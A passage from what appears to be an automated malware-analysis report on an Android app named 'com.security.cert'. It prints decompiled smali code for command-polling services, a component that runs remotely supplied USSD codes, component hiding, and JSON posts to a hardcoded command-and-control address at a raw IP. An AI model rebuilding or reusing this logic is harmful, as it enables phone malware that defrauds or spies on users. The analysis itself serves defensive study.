14invoke-static {v0}, Lcom/security/cert/services/CheckQueueService;->c(Lcom/security/cert/services/CheckQueueService;)Landroid/os/Handler;
15move-result-object v0
17iget-object v1, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService;
19invoke-static {v1}, Lcom/security/cert/services/CheckQueueService;->b(Lcom/security/cert/services/CheckQueueService;)Ljava/lang/Runnable;
20move-result-object v1
21const-wide/32 v2, 0x1d4c0
23invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • param1: 120000
24goto/16 :goto_8
25catch_21: move-exception v0
27const-string v1, "CheckQueueService"
29invoke-virtual {v0}, Landroid/app/PendingIntent$CanceledException;->toString()Ljava/lang/String;
30move-result-object v0
32invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: CheckQueueService
33goto/16 :goto_e
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • org.json.JSONObject.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • HttpClient
  • success with answer:
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
2if-eqz v0, :cond_9
4iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
6invoke-virtual {v0, p1}, Lcom/security/cert/b/b/a/b;->a(Lorg/json/JSONObject;)V
7cond_9:
8const-string v0, "HttpClient"
9new-instance v1, Ljava/lang/StringBuilder;
11invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
13const-string v2, "success with answer: "
15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: success with answer:
16move-result-object v1
18invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
19move-result-object v2
21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v1
24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
25move-result-object v1
27invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
28return-void
APIs
  • android.net.Uri.encode
  • java.lang.String.replaceAll
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Strings
  • #
  • ussd
Position Instruction Meta Information
1const-string v0, "#"
3const-string v1, "#"
5invoke-static {v1}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • s: #
6move-result-object v1
8invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: #
9move-result-object v0
10new-instance v1, Landroid/content/Intent;
12iget-object v2, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
13const-class v3, Lcom/security/cert/ui/UssdActivity;
15invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
17const-string v2, "ussd"
19invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • param0: ussd
20const/high16 v0, 0x3000
22invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 12288
24iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
26invoke-virtual {v0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
27return-void
APIs
  • org.json.JSONObject.toString
  • org.apache.http.entity.StringEntity.<init>
  • java.io.UnsupportedEncodingException.toString
  • android.util.Log.e
Strings
  • http://198.211.118.115:9081/Xq0jzoPa/g_L8jNgO.php
  • application/json
  • HttpClient
Position Instruction Meta Information
0const/4 v1, 0x0
1try_start_1: new-instance v3, Lorg/apache/http/entity/StringEntity;
3invoke-virtual {p2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
4move-result-object v0
6invoke-direct {v3, v0}, Lorg/apache/http/entity/StringEntity;-><init>(Ljava/lang/String;)V
7try_end_a: new-instance v5, Lcom/security/cert/a/a/b;
9invoke-direct {v5, p1, p3, p0, p2}, Lcom/security/cert/a/a/b;-><init>(Lcom/security/cert/ui/MainActivity;Lcom/security/cert/b/b/a/b;Landroid/content/Context;Lorg/json/JSONObject;)V
11sget-object v0, Lcom/security/cert/a/a/a;->a:Lcom/b/a/a/a;
13const-string v2, "http://198.211.118.115:9081/Xq0jzoPa/g_L8jNgO.php"
15const-string v4, "application/json"
17invoke-virtual/range {v0 .. v5}, Lcom/b/a/a/a;->a(Landroid/content/Context;Ljava/lang/String;Lorg/apache/http/HttpEntity;Ljava/lang/String;Lcom/b/a/a/f;)V
18return-void
19catch_19: move-exception v0
21const-string v2, "HttpClient"
23invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->toString()Ljava/lang/String;
24move-result-object v0
26invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
27move-object v3, v1
28goto/16 :goto_a
APIs
  • com.security.cert.services.CheckCommandsService.b
  • com.security.cert.services.CheckCommandsService.stopSelf
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.app.PendingIntent.getBroadcast
  • java.lang.Runnable.run
Strings
  • android.intent.action.RE_CHECK_COMMAND
Position Instruction Meta Information
1invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->b()Z
2move-result v0
3if-nez v0, :cond_a
5invoke-virtual {p0}, Lcom/security/cert/services/CheckCommandsService;->stopSelf()V
6goto_9: return-void
7cond_a: new-instance v0, Landroid/content/Intent;
8const-class v1, Lcom/security/cert/services/ReCheckCommandReceiver;
10invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12const-string v1, "android.intent.action.RE_CHECK_COMMAND"
14invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • param0: android.intent.action.RE_CHECK_COMMAND
15const/4 v1, 0x1
16const/4 v2, 0x0
18invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 1
    • flags: 0
19move-result-object v0
20new-instance v1, Lcom/security/cert/services/a;
22invoke-direct {v1, p0, v0}, Lcom/security/cert/services/a;-><init>(Lcom/security/cert/services/CheckCommandsService;Landroid/app/PendingIntent;)V
23iput-object v1, p0, Lcom/security/cert/services/CheckCommandsService;->b:Ljava/lang/Runnable;
25iget-object v0, p0, Lcom/security/cert/services/CheckCommandsService;->b:Ljava/lang/Runnable;
27invoke-interface {v0}, Ljava/lang/Runnable;->run()V
28goto/16 :goto_9
APIs
  • com.security.cert.services.CheckQueueService.b
  • com.security.cert.services.CheckQueueService.stopSelf
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.app.PendingIntent.getBroadcast
  • java.lang.Runnable.run
Strings
  • android.intent.action.RE_SEND_QUEUE
Position Instruction Meta Information
1invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->b()Z
2move-result v0
3if-nez v0, :cond_a
5invoke-virtual {p0}, Lcom/security/cert/services/CheckQueueService;->stopSelf()V
6goto_9: return-void
7cond_a: new-instance v0, Landroid/content/Intent;
8const-class v1, Lcom/security/cert/services/ReSendQueueReceiver;
10invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12const-string v1, "android.intent.action.RE_SEND_QUEUE"
14invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • param0: android.intent.action.RE_SEND_QUEUE
15const/4 v1, 0x2
16const/4 v2, 0x0
18invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 2
    • flags: 0
19move-result-object v0
20new-instance v1, Lcom/security/cert/services/b;
22invoke-direct {v1, p0, v0}, Lcom/security/cert/services/b;-><init>(Lcom/security/cert/services/CheckQueueService;Landroid/app/PendingIntent;)V
23iput-object v1, p0, Lcom/security/cert/services/CheckQueueService;->b:Ljava/lang/Runnable;
25iget-object v0, p0, Lcom/security/cert/services/CheckQueueService;->b:Ljava/lang/Runnable;
27invoke-interface {v0}, Ljava/lang/Runnable;->run()V
28goto/16 :goto_9
APIs
  • java.lang.String.trim
  • java.lang.String.startsWith
  • org.json.JSONTokener.<init>
  • org.json.JSONTokener.nextValue
Strings
  • {
  • [
Position Instruction Meta Information
0const/4 v1, 0x0
2invoke-virtual {p1}, Ljava/lang/String;->trim()Ljava/lang/String;
3move-result-object v0
5const-string v2, "{"
7invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: {
8move-result v2
9if-nez v2, :cond_15
11const-string v2, "["
13invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: [
14move-result v2
15if-eqz v2, :cond_1e
16cond_15: new-instance v1, Lorg/json/JSONTokener;
18invoke-direct {v1, v0}, Lorg/json/JSONTokener;-><init>(Ljava/lang/String;)V
20invoke-virtual {v1}, Lorg/json/JSONTokener;->nextValue()Ljava/lang/Object;
21move-result-object v1
22cond_1e: if-nez v1, :cond_21
23goto_20: return-object v0
24cond_21: move-object v0, v1
25goto/16 :goto_20
APIs
  • android.app.Activity.onCreate
  • com.security.cert.ui.UssdActivity.a
  • com.security.cert.ui.UssdActivity.getIntent
  • android.content.Intent.getStringExtra
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Strings
  • ussd
Position Instruction Meta Information
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
3invoke-direct {p0}, Lcom/security/cert/ui/UssdActivity;->a()V
5invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->getIntent()Landroid/content/Intent;
6move-result-object v0
8const-string v1, "ussd"
10invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: ussd
11move-result-object v0
12iput-object v0, p0, Lcom/security/cert/ui/UssdActivity;->c:Ljava/lang/String;
13new-instance v0, Landroid/os/Handler;
15invoke-direct {v0}, Landroid/os/Handler;-><init>()V
16new-instance v1, Lcom/security/cert/ui/c;
18invoke-direct {v1, p0}, Lcom/security/cert/ui/c;-><init>(Lcom/security/cert/ui/UssdActivity;)V
19const-wide/16 v2, 0x64
21invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • param1: 100
22return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • HttpClient
  • success with
Position Instruction Meta Information
1const-string v0, "HttpClient"
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6const-string v2, "success with "
8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: success with
9move-result-object v1
11invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v1
14invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v1
17invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
18return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • USSDDumbExtendedNetworkService
  • setMmiString:
Position Instruction Meta Information
1const-string v0, "USSDDumbExtendedNetworkService"
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6const-string v2, "setMmiString: "
8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: setMmiString:
9move-result-object v1
11invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v1
14invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v1
17invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
18return-void
APIs
  • java.util.HashSet.<init>
  • java.util.HashSet.add
Position Instruction Meta Information
0new-instance v0, Ljava/util/HashSet;
2invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
3sput-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet;
4new-instance v0, Ljava/util/HashSet;
6invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
7sput-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet;
9sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet;
10const-class v1, Lorg/apache/http/NoHttpResponseException;
12invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
14sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet;
15const-class v1, Ljava/net/UnknownHostException;
17invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
19sget-object v0, Lcom/b/a/a/j;->a:Ljava/util/HashSet;
20const-class v1, Ljava/net/SocketException;
22invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
24sget-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet;
25const-class v1, Ljava/io/InterruptedIOException;
27invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
29sget-object v0, Lcom/b/a/a/j;->b:Ljava/util/HashSet;
30const-class v1, Ljavax/net/ssl/SSLHandshakeException;
32invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
33return-void
APIs
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Strings
  • message
Position Instruction Meta Information
0new-instance v0, Landroid/content/Intent;
2iget-object v1, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
3const-class v2, Lcom/security/cert/ui/MessageDialogActivity;
5invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
7const-string v1, "message"
8if-nez p1, :cond_f
10const-string p1, ""
11cond_f:
12invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • param0: message
13const/high16 v1, 0x3000
15invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 12288
17iget-object v1, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
19invoke-virtual {v1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
20return-void
APIs
  • java.lang.Thread.currentThread
  • java.lang.Thread.isInterrupted
  • org.apache.http.impl.client.AbstractHttpClient.execute
  • java.lang.Thread.currentThread
  • java.lang.Thread.isInterrupted
Position Instruction Meta Information
1invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
2move-result-object v0
4invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
5move-result v0
6if-nez v0, :cond_27
8iget-object v0, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient;
10iget-object v1, p0, Lcom/b/a/a/e;->c:Lorg/apache/http/client/methods/HttpUriRequest;
12iget-object v2, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext;
14invoke-virtual {v0, v1, v2}, Lorg/apache/http/impl/client/AbstractHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;Lorg/apache/http/protocol/HttpContext;)Lorg/apache/http/HttpResponse;
15move-result-object v0
17invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
18move-result-object v1
20invoke-virtual {v1}, Ljava/lang/Thread;->isInterrupted()Z
21move-result v1
22if-nez v1, :cond_27
24iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f;
25if-eqz v1, :cond_27
27iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f;
29invoke-virtual {v1, v0}, Lcom/b/a/a/f;->a(Lorg/apache/http/HttpResponse;)V
30cond_27: return-void
APIs
  • android.text.TextUtils.isEmpty
  • java.util.Random.<init>
  • java.util.Random.nextInt
  • java.lang.String.valueOf
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String;
2move-result-object v0
4invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
5move-result v1
6if-eqz v1, :cond_e
8invoke-static {p0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;)Ljava/lang/String;
9move-result-object v0
10cond_e:
11invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
12move-result v1
13if-eqz v1, :cond_21
14new-instance v0, Ljava/util/Random;
16invoke-direct {v0}, Ljava/util/Random;-><init>()V
18invoke-virtual {v0}, Ljava/util/Random;->nextInt()I
19move-result v0
21invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
22move-result-object v0
23cond_21:
24invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;)V
26invoke-static {p0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;)V
27const/4 v0, 0x1
29invoke-static {p0, v0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;Z)V
30return-void
APIs
  • android.text.TextUtils.isEmpty
  • java.util.regex.Pattern.compile
  • java.util.regex.Pattern.matcher
  • java.util.regex.Matcher.matches
Position Instruction Meta Information
1invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
2move-result v0
3if-nez v0, :cond_c
5invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
6move-result v0
7if-eqz v0, :cond_e
8cond_c: const/4 v0, 0x0
9goto_d: return v0
10cond_e:
11invoke-static {p1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
12move-result-object v0
14invoke-virtual {v0, p2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
15move-result-object v0
17invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
18move-result v0
19goto/16 :goto_d
APIs
  • com.security.cert.services.PhoneCallReceiver.b
  • java.lang.Object.getClass
  • java.lang.Class.getSimpleName
  • java.lang.Exception.toString
  • android.util.Log.e
Position Instruction Meta Information
0try_start_0:
1invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->b(Landroid/content/Context;)Lcom/a/a/a/d;
2move-result-object v0
4invoke-interface {v0}, Lcom/a/a/a/d;->a()Z
5try_end_7: return-void
6catch_8: move-exception v0
8invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
9move-result-object v1
11invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
12move-result-object v1
14invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
15move-result-object v0
17invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
18goto/16 :goto_7
APIs
  • android.app.Service.<init>
  • com.security.cert.services.c.<init>
  • com.security.cert.services.d.<init>
Strings
  • USSD running...
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Service;-><init>()V
2const/4 v0, 0x0
3iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->d:Landroid/content/Context;
5const-string v0, "USSD running..."
6iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->e:Ljava/lang/String;
7new-instance v0, Lcom/security/cert/services/c;
9invoke-direct {v0, p0}, Lcom/security/cert/services/c;-><init>(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)V
10iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver;
11new-instance v0, Lcom/security/cert/services/d;
13invoke-direct {v0, p0}, Lcom/security/cert/services/d;-><init>(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)V
14iput-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->f:Lcom/a/a/a/b;
15return-void
APIs
  • android.content.Intent.<init>
  • com.security.cert.ui.UssdActivity.bindService
Strings
  • com.android.ussd.IExtendedNetworkService
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a;
2if-eqz v0, :cond_5
3goto_4: return-void
4cond_5: new-instance v0, Lcom/security/cert/ui/d;
6invoke-direct {v0, p0}, Lcom/security/cert/ui/d;-><init>(Lcom/security/cert/ui/UssdActivity;)V
7iput-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection;
8new-instance v0, Landroid/content/Intent;
10const-string v1, "com.android.ussd.IExtendedNetworkService"
12invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.ussd.IExtendedNetworkService
14iget-object v1, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection;
15const/4 v2, 0x1
17invoke-virtual {p0, v0, v1, v2}, Lcom/security/cert/ui/UssdActivity;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
  • Data flow analysis:
    • param2: 1
18goto/16 :goto_4
APIs
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
Strings
  • is_program_stopped
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v0
4const-string v1, "is_program_stopped"
6invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • param0: is_program_stopped
8invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
9if-nez p1, :cond_13
10const/4 v0, 0x1
11goto_f:
12invoke-static {p0, v0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;Z)V
13return-void
14cond_13: const/4 v0, 0x0
15goto/16 :goto_f
APIs
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
Strings
  • recheck_commands_delay
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v0
4const-string v1, "recheck_commands_delay"
6invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • param0: recheck_commands_delay
8invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
9return-void
APIs
  • android.content.SharedPreferences$Editor.putString
  • android.content.SharedPreferences$Editor.commit
Strings
  • user_id
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v0
4const-string v1, "user_id"
6invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • param0: user_id
8invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
9return-void
APIs
  • android.util.Log.d
Strings
  • HttpClient
  • start
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/a/a/b;->a:Lcom/security/cert/ui/MainActivity;
2if-eqz v0, :cond_4
3cond_4:
4const-string v0, "HttpClient"
6const-string v1, "start"
8invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
    • msg: start
9return-void
APIs
  • android.os.Binder.<init>
  • com.a.a.a.b.attachInterface
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/os/Binder;-><init>()V
3const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
5invoke-virtual {p0, p0, v0}, Lcom/a/a/a/b;->attachInterface(Landroid/os/IInterface;Ljava/lang/String;)V
  • Data flow analysis:
    • descriptor: com.android.internal.telephony.IExtendedNetworkService
6return-void
APIs
  • android.util.Log.d
Strings
  • USSDDumbExtendedNetworkService
  • clearMmiString
Position Instruction Meta Information
1const-string v0, "USSDDumbExtendedNetworkService"
3const-string v1, "clearMmiString"
5invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: clearMmiString
6return-void
APIs
  • android.content.ComponentName.<init>
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.setComponentEnabledSetting
Position Instruction Meta Information
0const/4 v1, 0x1
1if-eqz p2, :cond_11
2move v0, v1
3goto_4: new-instance v2, Landroid/content/ComponentName;
5invoke-direct {v2, p0, p1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
7invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
8move-result-object v3
10invoke-virtual {v3, v2, v0, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 1
    • flags: 1
11return-void
12cond_11: const/4 v0, 0x2
13goto/16 :goto_4
APIs
  • android.content.SharedPreferences$Editor.remove
  • android.content.SharedPreferences$Editor.commit
  • android.content.SharedPreferences$Editor.putString
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v0
3if-nez p1, :cond_d
5invoke-interface {v0, p2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
6goto_9:
7invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
8return-void
9cond_d:
10invoke-interface {v0, p2, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
11goto/16 :goto_9
APIs
  • java.lang.Object.<init>
  • android.os.Looper.myLooper
  • com.b.a.a.g.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
4move-result-object v0
5if-eqz v0, :cond_10
6new-instance v0, Lcom/b/a/a/g;
8invoke-direct {v0, p0}, Lcom/b/a/a/g;-><init>(Lcom/b/a/a/f;)V
9iput-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler;
10cond_10: return-void
APIs
  • java.util.regex.Pattern.compile
  • java.util.regex.Pattern.matcher
  • java.util.regex.Matcher.matches
Position Instruction Meta Information
1invoke-static {p1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
2move-result-object v0
4invoke-virtual {v0, p2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
5move-result-object v0
7invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
8move-result v0
9return v0
APIs
  • android.app.Service.onCreate
  • android.os.Handler.<init>
  • com.security.cert.services.CheckCommandsService.a
Position Instruction Meta Information
1invoke-super {p0}, Landroid/app/Service;->onCreate()V
2new-instance v0, Landroid/os/Handler;
4invoke-direct {v0}, Landroid/os/Handler;-><init>()V
5iput-object v0, p0, Lcom/security/cert/services/CheckCommandsService;->a:Landroid/os/Handler;
7invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->a()V
8return-void
APIs
  • android.app.Service.onCreate
  • android.os.Handler.<init>
  • com.security.cert.services.CheckQueueService.a
Position Instruction Meta Information
1invoke-super {p0}, Landroid/app/Service;->onCreate()V
2new-instance v0, Landroid/os/Handler;
4invoke-direct {v0}, Landroid/os/Handler;-><init>()V
5iput-object v0, p0, Lcom/security/cert/services/CheckQueueService;->a:Landroid/os/Handler;
7invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->a()V
8return-void
APIs
  • android.os.IBinder.queryLocalInterface
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
0if-nez p0, :cond_4
1const/4 v0, 0x0
2goto_3: return-object v0
3cond_4:
